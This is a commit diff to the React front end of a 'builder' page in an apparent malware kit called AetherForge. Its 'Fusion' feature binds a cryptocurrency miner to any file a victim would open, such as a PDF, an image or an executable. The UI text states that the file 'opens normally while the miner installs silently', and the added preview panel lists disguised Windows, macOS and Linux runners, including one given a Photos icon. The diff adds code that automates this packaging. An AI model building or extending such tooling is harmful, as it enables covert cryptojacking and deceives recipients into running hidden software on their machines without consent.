Add fleet groups, agent screenshots, deploy guards, and Crucible polish.

This commit is contained in:
AetherForge
2026-06-02 20:51:52 -07:00
parent 01d76b3730
commit 41b5ec7a88
66 changed files with 1773 additions and 388 deletions

View File

@@ -426,14 +426,23 @@ export default function BuilderPage() {
const applyFusionFileSelection = (f: File | null) => {
setFusionPrepFile(f);
if (!f) return;
const isImage = /\.(png|jpe?g|gif|webp|bmp|ico|tiff?)$/i.test(f.name);
// Images in embedded mode often blow up compile size; paired ZIP is reliable for any size.
const preferPaired = isImage || f.size > 500 * 1024 * 1024;
setForm((prev) => {
if (!prev) return prev;
return {
return normalizeForgeForm({
...prev,
fusion_payload_kind: fusionPayloadKind(f),
fusion_media_base_name: f.name,
fusion_output_name: defaultRunnerName(f.name),
};
...(preferPaired && prev.fusion_media_mode === 'embedded'
? { fusion_media_mode: 'paired' as const }
: {}),
...(!prev.fusion_enabled
? { fusion_enabled: true, spread_kit: false, target_os: 'universal', target_arch: 'all' }
: {}),
});
});
};
@@ -1547,21 +1556,44 @@ export default function BuilderPage() {
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
/>
{deliverableType !== 'fusion' && (
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
<input
type="checkbox"
className="checkbox"
checked={form.fusion_enabled}
disabled={fieldMeta.fusion_enabled?.disabled}
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
onChange={(e) => {
if (e.target.checked) {
setForm((prev) =>
prev
? normalizeForgeForm({
...prev,
fusion_enabled: true,
spread_kit: false,
target_os: 'universal',
target_arch: 'all',
})
: prev
);
} else {
setDeliverableType('single');
}
}}
/>
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
</label>
<FieldHint field="fusion_enabled" />
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
{form.fusion_enabled && (
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
Uncheck <strong>Enable Fusion</strong> above to return to a plain single-platform worker build.
</p>
)}
</div>
)}
{deliverableType === 'fusion' && (
{deliverableType === 'fusion' && form.fusion_enabled && (
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
Fusion selected drop your files below and forge. Each file becomes its own universal ZIP (Windows + Mac + Linux) that can be sent to any machine.
Fusion deliverable drop your file below and forge. Output is one universal ZIP (Windows + Mac + Linux).
</p>
)}
{form.fusion_enabled && (
@@ -1785,6 +1817,20 @@ export default function BuilderPage() {
<p className="form-hint">
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
</p>
{fusionPrepFile && (
<div className="fusion-output-preview card" style={{ marginTop: '0.75rem', padding: '0.75rem 1rem', fontSize: '0.85rem' }}>
<p className="font-tech" style={{ marginBottom: '0.5rem', color: 'var(--neon-cyan)' }}>WHAT YOU GET {fusionFileTypeLabel(fusionPrepFile.name).toUpperCase()}</p>
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem', lineHeight: 1.6 }}>
<li><strong>Windows:</strong> <code>Start.bat</code> or disguised runner (e.g. <code>{disguisedDisplayName(fusionPrepFile.name)}</code> with Photos icon) opens the image in the default viewer, miner runs hidden.</li>
<li><strong>Linux:</strong> <code>start.sh</code> <code>bin/linux-amd64/{fusionPrepFile.name.replace(/\.[^.]+$/, '')}-runner</code></li>
<li><strong>macOS:</strong> <code>Start.command</code> or <code>{fusionTitleFromFilename(fusionPrepFile.name)}.app</code> bundle</li>
{fusionMediaMode === 'paired' && (
<li><strong>ZIP also includes:</strong> your original <code>{fusionPrepFile.name}</code> at the root (paired mode).</li>
)}
<li>Download: <code>{fusionTitleFromFilename(fusionPrepFile.name)}-package.zip</code> under fusion-deliverables on the server.</li>
</ul>
</div>
)}
{(estimateLoading || fusionEstimate || estimateError) && (
<div className="fusion-estimate-panel card">
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>